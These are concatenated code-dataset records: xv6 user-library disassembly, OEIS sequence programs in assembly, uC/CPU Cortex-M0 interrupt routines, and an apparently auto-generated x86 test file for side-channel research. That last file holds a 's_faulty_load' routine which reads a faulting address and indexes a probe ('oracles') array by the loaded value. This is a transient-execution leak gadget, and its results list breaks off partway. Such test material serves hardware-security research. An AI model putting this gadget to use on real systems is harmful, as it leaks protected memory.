432: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
438: 89 cf mov %ecx,%edi
43a: 31 d2 xor %edx,%edx
43c: 8d 4f 01 lea 0x1(%edi),%ecx
43f: f7 f6 div %esi
441: 0f b6 92 18 08 00 00 movzbl 0x818(%edx),%edx
}while((x /= base) != 0);
448: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
44a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
44d: 75 e9 jne 438 <printint+0x38>
if(neg)
44f: 8b 45 c4 mov -0x3c(%ebp),%eax
452: 8b 75 c0 mov -0x40(%ebp),%esi
455: 85 c0 test %eax,%eax
457: 74 08 je 461 <printint+0x61>
buf[i++] = '-';
459: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
45e: 8d 4f 02 lea 0x2(%edi),%ecx
461: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
465: 8d 76 00 lea 0x0(%esi),%esi
468: 0f b6 07 movzbl (%edi),%eax
write(fd, &c, 1);
46b: 83 ec 04 sub $0x4,%esp
46e: 83 ef 01 sub $0x1,%edi
471: 6a 01 push $0x1
473: 53 push %ebx
474: 56 push %esi
475: 88 45 d7 mov %al,-0x29(%ebp)
478: e8 e5 fe ff ff call 362 <write>
while(--i >= 0)
47d: 83 c4 10 add $0x10,%esp
480: 39 df cmp %ebx,%edi
482: 75 e4 jne 468 <printint+0x68>
putc(fd, buf[i]);
}
484: 8d 65 f4 lea -0xc(%ebp),%esp
487: 5b pop %ebx
488: 5e pop %esi
489: 5f pop %edi
48a: 5d pop %ebp
48b: c3 ret
48c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
x = xx;
490: 89 d0 mov %edx,%eax
neg = 0;
492: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
499: eb 8b jmp 426 <printint+0x26>
49b: 90 nop
49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004a0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4a0: 55 push %ebp
4a1: 89 e5 mov %esp,%ebp
4a3: 57 push %edi
4a4: 56 push %esi
4a5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4a6: 8d 45 10 lea 0x10(%ebp),%eax
{
4a9: 83 ec 2c sub $0x2c,%esp
for(i = 0; fmt[i]; i++){
4ac: 8b 75 0c mov 0xc(%ebp),%esi
{
4af: 8b 7d 08 mov 0x8(%ebp),%edi
for(i = 0; fmt[i]; i++){
4b2: 89 45 d0 mov %eax,-0x30(%ebp)
4b5: 0f b6 1e movzbl (%esi),%ebx
4b8: 83 c6 01 add $0x1,%esi
4bb: 84 db test %bl,%bl
4bd: 0f 84 b0 00 00 00 je 573 <printf+0xd3>
4c3: 31 d2 xor %edx,%edx
4c5: eb 39 jmp 500 <printf+0x60>
4c7: 89 f6 mov %esi,%esi
4c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
4d0: 83 f8 25 cmp $0x25,%eax
4d3: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
4d6: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
4db: 74 18 je 4f5 <printf+0x55>
write(fd, &c, 1);
4dd: 8d 45 e2 lea -0x1e(%ebp),%eax
4e0: 83 ec 04 sub $0x4,%esp
4e3: 88 5d e2 mov %bl,-0x1e(%ebp)
4e6: 6a 01 push $0x1
4e8: 50 push %eax
4e9: 57 push %edi
4ea: e8 73 fe ff ff call 362 <write>
4ef: 8b 55 d4 mov -0x2c(%ebp),%edx
4f2: 83 c4 10 add $0x10,%esp
4f5: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
4f8: 0f b6 5e ff movzbl -0x1(%esi),%ebx
4fc: 84 db test %bl,%bl
4fe: 74 73 je 573 <printf+0xd3>
if(state == 0){
500: 85 d2 test %edx,%edx
c = fmt[i] & 0xff;
502: 0f be cb movsbl %bl,%ecx
505: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
508: 74 c6 je 4d0 <printf+0x30>
} else {
putc(fd, c);
}
} else if(state == '%'){
50a: 83 fa 25 cmp $0x25,%edx
50d: 75 e6 jne 4f5 <printf+0x55>
if(c == 'd'){
50f: 83 f8 64 cmp $0x64,%eax
512: 0f 84 f8 00 00 00 je 610 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
518: 81 e1 f7 00 00 00 and $0xf7,%ecx
51e: 83 f9 70 cmp $0x70,%ecx
521: 74 5d je 580 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
523: 83 f8 73 cmp $0x73,%eax
526: 0f 84 84 00 00 00 je 5b0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
52c: 83 f8 63 cmp $0x63,%eax
52f: 0f 84 ea 00 00 00 je 61f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
535: 83 f8 25 cmp $0x25,%eax
538: 0f 84 c2 00 00 00 je 600 <printf+0x160>
write(fd, &c, 1);
53e: 8d 45 e7 lea -0x19(%ebp),%eax
541: 83 ec 04 sub $0x4,%esp
544: c6 45 e7 25 movb $0x25,-0x19(%ebp)
548: 6a 01 push $0x1
54a: 50 push %eax
54b: 57 push %edi
54c: e8 11 fe ff ff call 362 <write>
551: 83 c4 0c add $0xc,%esp
554: 8d 45 e6 lea -0x1a(%ebp),%eax
557: 88 5d e6 mov %bl,-0x1a(%ebp)
55a: 6a 01 push $0x1
55c: 50 push %eax
55d: 57 push %edi
55e: 83 c6 01 add $0x1,%esi
561: e8 fc fd ff ff call 362 <write>
for(i = 0; fmt[i]; i++){
566: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
56a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
56d: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
56f: 84 db test %bl,%bl
571: 75 8d jne 500 <printf+0x60>
}
}
}
573: 8d 65 f4 lea -0xc(%ebp),%esp
576: 5b pop %ebx
577: 5e pop %esi
578: 5f pop %edi
579: 5d pop %ebp
57a: c3 ret
57b: 90 nop
57c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 16, 0);
580: 83 ec 0c sub $0xc,%esp
583: b9 10 00 00 00 mov $0x10,%ecx
588: 6a 00 push $0x0
58a: 8b 5d d0 mov -0x30(%ebp),%ebx
58d: 89 f8 mov %edi,%eax
58f: 8b 13 mov (%ebx),%edx
591: e8 6a fe ff ff call 400 <printint>
ap++;
596: 89 d8 mov %ebx,%eax
598: 83 c4 10 add $0x10,%esp
state = 0;
59b: 31 d2 xor %edx,%edx
ap++;
59d: 83 c0 04 add $0x4,%eax
5a0: 89 45 d0 mov %eax,-0x30(%ebp)
5a3: e9 4d ff ff ff jmp 4f5 <printf+0x55>
5a8: 90 nop
5a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
5b0: 8b 45 d0 mov -0x30(%ebp),%eax
5b3: 8b 18 mov (%eax),%ebx
ap++;
5b5: 83 c0 04 add $0x4,%eax
5b8: 89 45 d0 mov %eax,-0x30(%ebp)
s = "(null)";
5bb: b8 10 08 00 00 mov $0x810,%eax
5c0: 85 db test %ebx,%ebx
5c2: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
5c5: 0f b6 03 movzbl (%ebx),%eax
5c8: 84 c0 test %al,%al
5ca: 74 23 je 5ef <printf+0x14f>
5cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
5d0: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
5d3: 8d 45 e3 lea -0x1d(%ebp),%eax
5d6: 83 ec 04 sub $0x4,%esp
5d9: 6a 01 push $0x1
s++;
5db: 83 c3 01 add $0x1,%ebx
write(fd, &c, 1);
5de: 50 push %eax
5df: 57 push %edi
5e0: e8 7d fd ff ff call 362 <write>
while(*s != 0){
5e5: 0f b6 03 movzbl (%ebx),%eax
5e8: 83 c4 10 add $0x10,%esp
5eb: 84 c0 test %al,%al
5ed: 75 e1 jne 5d0 <printf+0x130>
state = 0;
5ef: 31 d2 xor %edx,%edx
5f1: e9 ff fe ff ff jmp 4f5 <printf+0x55>
5f6: 8d 76 00 lea 0x0(%esi),%esi
5f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
write(fd, &c, 1);
600: 83 ec 04 sub $0x4,%esp
603: 88 5d e5 mov %bl,-0x1b(%ebp)
606: 8d 45 e5 lea -0x1b(%ebp),%eax
609: 6a 01 push $0x1
60b: e9 4c ff ff ff jmp 55c <printf+0xbc>
printint(fd, *ap, 10, 1);
610: 83 ec 0c sub $0xc,%esp
613: b9 0a 00 00 00 mov $0xa,%ecx
618: 6a 01 push $0x1
61a: e9 6b ff ff ff jmp 58a <printf+0xea>
61f: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
622: 83 ec 04 sub $0x4,%esp
625: 8b 03 mov (%ebx),%eax
627: 6a 01 push $0x1
629: 88 45 e4 mov %al,-0x1c(%ebp)
62c: 8d 45 e4 lea -0x1c(%ebp),%eax
62f: 50 push %eax
630: 57 push %edi
631: e8 2c fd ff ff call 362 <write>
636: e9 5b ff ff ff jmp 596 <printf+0xf6>
63b: 66 90 xchg %ax,%ax
63d: 66 90 xchg %ax,%ax
63f: 90 nop
00000640 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
640: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
641: a1 b8 0a 00 00 mov 0xab8,%eax
{
646: 89 e5 mov %esp,%ebp
648: 57 push %edi
649: 56 push %esi
64a: 53 push %ebx
64b: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
64e: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
650: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
653: 39 c8 cmp %ecx,%eax
655: 73 19 jae 670 <free+0x30>
657: 89 f6 mov %esi,%esi
659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
660: 39 d1 cmp %edx,%ecx
662: 72 1c jb 680 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
664: 39 d0 cmp %edx,%eax
666: 73 18 jae 680 <free+0x40>
{
668: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
66a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
66c: 8b 10 mov (%eax),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
66e: 72 f0 jb 660 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
670: 39 d0 cmp %edx,%eax
672: 72 f4 jb 668 <free+0x28>
674: 39 d1 cmp %edx,%ecx
676: 73 f0 jae 668 <free+0x28>
678: 90 nop
679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
680: 8b 73 fc mov -0x4(%ebx),%esi
683: 8d 3c f1 lea (%ecx,%esi,8),%edi
686: 39 d7 cmp %edx,%edi
688: 74 19 je 6a3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
68a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
68d: 8b 50 04 mov 0x4(%eax),%edx
690: 8d 34 d0 lea (%eax,%edx,8),%esi
693: 39 f1 cmp %esi,%ecx
695: 74 23 je 6ba <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
697: 89 08 mov %ecx,(%eax)
freep = p;
699: a3 b8 0a 00 00 mov %eax,0xab8
}
69e: 5b pop %ebx
69f: 5e pop %esi
6a0: 5f pop %edi
6a1: 5d pop %ebp
6a2: c3 ret
bp->s.size += p->s.ptr->s.size;
6a3: 03 72 04 add 0x4(%edx),%esi
6a6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6a9: 8b 10 mov (%eax),%edx
6ab: 8b 12 mov (%edx),%edx
6ad: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6b0: 8b 50 04 mov 0x4(%eax),%edx
6b3: 8d 34 d0 lea (%eax,%edx,8),%esi
6b6: 39 f1 cmp %esi,%ecx
6b8: 75 dd jne 697 <free+0x57>
p->s.size += bp->s.size;
6ba: 03 53 fc add -0x4(%ebx),%edx
freep = p;
6bd: a3 b8 0a 00 00 mov %eax,0xab8
p->s.size += bp->s.size;
6c2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6c5: 8b 53 f8 mov -0x8(%ebx),%edx
6c8: 89 10 mov %edx,(%eax)
}
6ca: 5b pop %ebx
6cb: 5e pop %esi
6cc: 5f pop %edi
6cd: 5d pop %ebp
6ce: c3 ret
6cf: 90 nop
000006d0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
6d0: 55 push %ebp
6d1: 89 e5 mov %esp,%ebp
6d3: 57 push %edi
6d4: 56 push %esi
6d5: 53 push %ebx
6d6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6d9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
6dc: 8b 15 b8 0a 00 00 mov 0xab8,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6e2: 8d 78 07 lea 0x7(%eax),%edi
6e5: c1 ef 03 shr $0x3,%edi
6e8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
6eb: 85 d2 test %edx,%edx
6ed: 0f 84 a3 00 00 00 je 796 <malloc+0xc6>
6f3: 8b 02 mov (%edx),%eax
6f5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
6f8: 39 cf cmp %ecx,%edi
6fa: 76 74 jbe 770 <malloc+0xa0>
6fc: 81 ff 00 10 00 00 cmp $0x1000,%edi
702: be 00 10 00 00 mov $0x1000,%esi
707: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
70e: 0f 43 f7 cmovae %edi,%esi
711: ba 00 80 00 00 mov $0x8000,%edx
716: 81 ff ff 0f 00 00 cmp $0xfff,%edi
71c: 0f 46 da cmovbe %edx,%ebx
71f: eb 10 jmp 731 <malloc+0x61>
721: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
728: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
72a: 8b 48 04 mov 0x4(%eax),%ecx
72d: 39 cf cmp %ecx,%edi
72f: 76 3f jbe 770 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
731: 39 05 b8 0a 00 00 cmp %eax,0xab8
737: 89 c2 mov %eax,%edx
739: 75 ed jne 728 <malloc+0x58>
p = sbrk(nu * sizeof(Header));
73b: 83 ec 0c sub $0xc,%esp
73e: 53 push %ebx
73f: e8 86 fc ff ff call 3ca <sbrk>
if(p == (char*)-1)
744: 83 c4 10 add $0x10,%esp
747: 83 f8 ff cmp $0xffffffff,%eax
74a: 74 1c je 768 <malloc+0x98>
hp->s.size = nu;
74c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
74f: 83 ec 0c sub $0xc,%esp
752: 83 c0 08 add $0x8,%eax
755: 50 push %eax
756: e8 e5 fe ff ff call 640 <free>
return freep;
75b: 8b 15 b8 0a 00 00 mov 0xab8,%edx
if((p = morecore(nunits)) == 0)
761: 83 c4 10 add $0x10,%esp
764: 85 d2 test %edx,%edx
766: 75 c0 jne 728 <malloc+0x58>
return 0;
768: 31 c0 xor %eax,%eax
76a: eb 1c jmp 788 <malloc+0xb8>
76c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
770: 39 cf cmp %ecx,%edi
772: 74 1c je 790 <malloc+0xc0>
p->s.size -= nunits;
774: 29 f9 sub %edi,%ecx
776: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
779: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
77c: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
77f: 89 15 b8 0a 00 00 mov %edx,0xab8
return (void*)(p + 1);
785: 83 c0 08 add $0x8,%eax
}
}
788: 8d 65 f4 lea -0xc(%ebp),%esp
78b: 5b pop %ebx
78c: 5e pop %esi
78d: 5f pop %edi
78e: 5d pop %ebp
78f: c3 ret
prevp->s.ptr = p->s.ptr;
790: 8b 08 mov (%eax),%ecx
792: 89 0a mov %ecx,(%edx)
794: eb e9 jmp 77f <malloc+0xaf>
base.s.ptr = freep = prevp = &base;
796: c7 05 b8 0a 00 00 bc movl $0xabc,0xab8
79d: 0a 00 00
7a0: c7 05 bc 0a 00 00 bc movl $0xabc,0xabc
7a7: 0a 00 00
base.s.size = 0;
7aa: b8 bc 0a 00 00 mov $0xabc,%eax
7af: c7 05 c0 0a 00 00 00 movl $0x0,0xac0
7b6: 00 00 00
7b9: e9 3e ff ff ff jmp 6fc <malloc+0x2c>
| 34.10299 | 60 | 0.411227 |
[
"MIT-0"
] |
gandharvm/xv6
|
init.asm
| 41,060 |
Assembly
|
; A179609: a(n)=(5-(-1)^n-6*n)*2^(n-2)
; 1,0,-8,-24,-80,-192,-512,-1152,-2816,-6144,-14336,-30720,-69632,-147456,-327680,-688128,-1507328,-3145728,-6815744,-14155776,-30408704,-62914560,-134217728,-276824064,-587202560,-1207959552,-2550136832
mov $2,$0
add $0,1
div $2,2
lpb $0
sub $0,1
mul $2,2
add $2,$0
lpe
gcd $1,2
sub $1,$2
div $1,2
mov $0,$1
| 22.1875 | 203 | 0.630986 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/179/A179609.asm
| 355 |
Assembly
|
; A000930: Narayana's cows sequence: a(0) = a(1) = a(2) = 1; thereafter a(n) = a(n-1) + a(n-3).
; 1,1,1,2,3,4,6,9,13,19,28,41,60,88,129,189,277,406,595,872,1278,1873,2745,4023,5896,8641,12664,18560,27201,39865,58425,85626,125491,183916,269542,395033,578949,848491,1243524,1822473,2670964,3914488,5736961,8407925,12322413,18059374,26467299,38789712,56849086,83316385,122106097,178955183,262271568,384377665,563332848,825604416,1209982081,1773314929,2598919345,3808901426,5582216355,8181135700,11990037126,17572253481,25753389181,37743426307,55315679788,81069068969,118812495276,174128175064,255197244033,374009739309,548137914373,803335158406,1177344897715,1725482812088,2528817970494,3706162868209,5431645680297,7960463650791,11666626519000,17098272199297,25058735850088,36725362369088,53823634568385,78882370418473,115607732787561,169431367355946,248313737774419,363921470561980,533352837917926,781666575692345,1145588046254325,1678940884172251,2460607459864596,3606195506118921,5285136390291172,7745743850155768
mov $2,3
mov $5,3
lpb $0
sub $0,1
mov $1,$2
add $3,1
add $4,5
trn $3,$4
sub $4,$2
trn $4,1
add $5,1
mov $2,$5
add $5,$3
mov $3,$1
lpe
sub $1,3
add $4,1
trn $1,$4
add $1,1
| 52.521739 | 917 | 0.797185 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/000/A000930.asm
| 1,208 |
Assembly
|
; A130254: Duplicate of A130252.
; 0,1,4,7,11,15,20,25,30,35,40,45,51,57,63,69,75,81,87,93,99,105,112,119,126,133,140,147,154,161,168,175,182,189,196,203,210,217,224,231,238,245,252,259,267,275,283,291,299,307,315,323,331,339,347,355,363,371
mov $3,$0
mov $5,$0
lpb $3,1
mov $0,$5
sub $3,1
sub $0,$3
mov $2,$0
mov $0,5
mov $4,6
mov $6,$2
mov $8,5
lpb $0,1
mov $0,2
mov $7,$6
mul $7,$4
sub $7,$8
lpe
add $7,1
log $7,$0
add $7,1
mov $2,$7
sub $2,1
add $1,$2
lpe
| 18.178571 | 208 | 0.569745 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/130/A130254.asm
| 509 |
Assembly
|
;********************************************************************************************************
; uC/CPU
; CPU CONFIGURATION & PORT LAYER
;
; Copyright 2004-2020 Silicon Laboratories Inc. www.silabs.com
;
; SPDX-License-Identifier: APACHE-2.0
;
; This software is subject to an open source license and is distributed by
; Silicon Laboratories Inc. pursuant to the terms of the Apache License,
; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0.
;
;********************************************************************************************************
;********************************************************************************************************
;
; CPU PORT FILE
;
; ARMv6-M
; IAR C Compiler
;
; Filename : cpu_a.asm
; Version : v1.32.00
;********************************************************************************************************
; Note(s) : This port supports the ARM Cortex-M0, and Cortex-M0+ architectures.
;********************************************************************************************************
;********************************************************************************************************
; PUBLIC FUNCTIONS
;********************************************************************************************************
PUBLIC CPU_IntDis
PUBLIC CPU_IntEn
PUBLIC CPU_SR_Save
PUBLIC CPU_SR_Restore
PUBLIC CPU_WaitForInt
PUBLIC CPU_WaitForExcept
;********************************************************************************************************
; CODE GENERATION DIRECTIVES
;********************************************************************************************************
RSEG CODE:CODE:NOROOT(2)
THUMB
;********************************************************************************************************
; DISABLE and ENABLE INTERRUPTS
;
; Description : Disable/Enable interrupts.
;
; Prototypes : void CPU_IntDis(void);
; void CPU_IntEn (void);
;********************************************************************************************************
CPU_IntDis
CPSID I
BX LR
CPU_IntEn
CPSIE I
BX LR
;********************************************************************************************************
; CRITICAL SECTION FUNCTIONS
;
; Description : Disable/Enable interrupts by preserving the state of interrupts. Generally speaking, the
; state of the interrupt disable flag is stored in the local variable 'cpu_sr' & interrupts
; are then disabled ('cpu_sr' is allocated in all functions that need to disable interrupts).
; The previous interrupt state is restored by copying 'cpu_sr' into the CPU's status register.
;
; Prototypes : CPU_SR CPU_SR_Save (void);
; void CPU_SR_Restore(CPU_SR cpu_sr);
;
; Note(s) : (1) These functions are used in general like this :
;
; void Task (void *p_arg)
; {
; CPU_SR_ALLOC(); /* Allocate storage for CPU status register */
; :
; :
; CPU_CRITICAL_ENTER(); /* cpu_sr = CPU_SR_Save(); */
; :
; :
; CPU_CRITICAL_EXIT(); /* CPU_SR_Restore(cpu_sr); */
; :
; }
;********************************************************************************************************
CPU_SR_Save
MRS R0, PRIMASK ; Set prio int mask to mask all (except faults)
CPSID I
BX LR
CPU_SR_Restore ; See Note #2.
MSR PRIMASK, R0
BX LR
;********************************************************************************************************
; WAIT FOR INTERRUPT
;
; Description : Enters sleep state, which will be exited when an interrupt is received.
;
; Prototypes : void CPU_WaitForInt (void)
;
; Argument(s) : none.
;********************************************************************************************************
CPU_WaitForInt
WFI ; Wait for interrupt
BX LR
;********************************************************************************************************
; WAIT FOR EXCEPTION
;
; Description : Enters sleep state, which will be exited when an exception is received.
;
; Prototypes : void CPU_WaitForExcept (void)
;
; Argument(s) : none.
;********************************************************************************************************
CPU_WaitForExcept
WFE ; Wait for exception
BX LR
;********************************************************************************************************
; CPU ASSEMBLY PORT FILE END
;********************************************************************************************************
END
| 40.531469 | 110 | 0.302622 |
[
"Apache-2.0"
] |
REVrobotics/uC-CPU
|
ARM-Cortex-M/ARMv6-M/IAR/cpu_a.asm
| 5,796 |
Assembly
|
; A067815: a(n) = gcd(n, floor(sqrt(n))).
; 1,1,1,2,1,2,1,2,3,1,1,3,1,1,3,4,1,2,1,4,1,2,1,4,5,1,1,1,1,5,1,1,1,1,5,6,1,2,3,2,1,6,1,2,3,2,1,6,7,1,1,1,1,1,1,7,1,1,1,1,1,1,7,8,1,2,1,4,1,2,1,8,1,2,1,4,1,2,1,8,9,1,1,3,1,1,3,1,1,9,1,1,3,1,1,3,1,1,9,10,1,2,1,2,5,2,1,2,1,10,1,2,1,2,5,2,1,2,1,10,11,1,1,1,1,1,1,1,1,1,1,11,1,1,1,1,1,1,1,1,1,1,11,12,1,2,3,4,1,6,1,4,3,2,1,12,1,2,3,4,1,6,1,4,3,2,1,12,13,1,1,1,1,1,1,1,1,1,1,1,1,13,1,1,1,1,1,1,1,1,1,1,1,1,13,14,1,2,1,2,1,2,7,2,1,2,1,2,1,14,1,2,1,2,1,2,7,2,1,2,1,2,1,14,15,1,1,3,1,5,3,1,1,3,5,1,3,1,1,15,1,1,3,1,5,3,1,1,3,5
add $0,1
mov $1,$0
add $1,$0
sub $1,$0
cal $0,196 ; Integer part of square root of n. Or, number of positive squares <= n. Or, n appears 2n+1 times.
gcd $1,$0
| 72.1 | 518 | 0.543689 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/067/A067815.asm
| 721 |
Assembly
|
; A120248: a(n)=Product{k=0..n, C(n+k+2, n+2)}.
; Submitted by Jon Maiga
; 1,4,75,7056,3457440,9032601600,127843321480875,9917120529316000000,4253520573615071657074176,10156681309872614660803421798400,135766978921156343322148046967386880000
mov $1,1
mov $3,$0
add $0,1
add $3,2
lpb $0
mov $2,$4
sub $2,$0
sub $0,1
bin $2,$3
mul $1,$2
lpe
mov $0,$1
| 21.117647 | 167 | 0.713092 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/120/A120248.asm
| 359 |
Assembly
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1c41a, %rsi
lea addresses_A_ht+0x126ee, %rdi
nop
nop
nop
dec %r8
mov $6, %rcx
rep movsq
nop
nop
xor $6718, %r10
lea addresses_UC_ht+0x2f5a, %rdx
nop
nop
cmp $60151, %r9
mov (%rdx), %edi
nop
nop
nop
cmp $24799, %rcx
lea addresses_UC_ht+0x13006, %rcx
clflush (%rcx)
nop
nop
nop
cmp $40206, %r8
mov (%rcx), %r10d
nop
nop
nop
nop
nop
and $38991, %rcx
lea addresses_normal_ht+0x4806, %rsi
lea addresses_A_ht+0x5006, %rdi
nop
nop
xor %r14, %r14
mov $119, %rcx
rep movsw
cmp $44823, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r9
push %rax
// Faulty Load
lea addresses_UC+0xa006, %r15
nop
nop
add %rax, %rax
mov (%r15), %r9w
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 